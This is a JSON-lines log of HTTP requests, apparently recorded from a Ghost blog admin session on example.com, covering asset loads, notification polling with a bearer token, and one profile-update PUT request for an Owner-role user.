{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/onboarding-route-CTfF7IJD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/share-modal-D6_apZJH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.800Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
||||||
|
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/logo-loader-dark-CuSPz-zc.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY", "Range: bytes=0-"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/editor-screen-BQzGYHoq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-limiter-BDyb24mL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/isPlainObject-B4wq7q-q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/luxon-D0MQDYL8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/newsletters-Dc9dNenR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/automations-CHwWlIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/focus-koenig-editor-on-bottom-click-NfX8T9TL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/style-A57lkXV2.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-host-limits-DLFHO8IN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/box-CvaCx3xG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/grid-EKVMrdPt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-pintura-config-DDGo3qjQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/calendar-BqF8KY_y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/checkbox-USP8gq7k.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/custom-fonts-CMD0ed16.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-BzashvGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/lib-CmL7hMOQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/analytics-Cj7bTZhC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/images-CoVkxhed.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dropzone-nt_3dI2o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/prop-types-B8rMafi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/page-header-BZAQCX93.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/heading-XKAYjT0Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/select-De66Q0Np.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/preview-chrome-z36eH2v9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/radio-group-COYgs1Oh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/switch-08pTpI2l.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/tabs-x_EBkQ-i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/textarea-9kkkItPg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/toggle-group-CbBD6ECj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/images-CClFWRrp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/member-format-DrcVrnM2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/editor-return-DmblXePh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/purify.es-By5UdXoD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-unsaved-changes-guard-BIfTQjJz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-router-history-entry-DYG_hZv1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/chip-picker-aAXRsU0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/sortable.esm-H4JOBEIz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
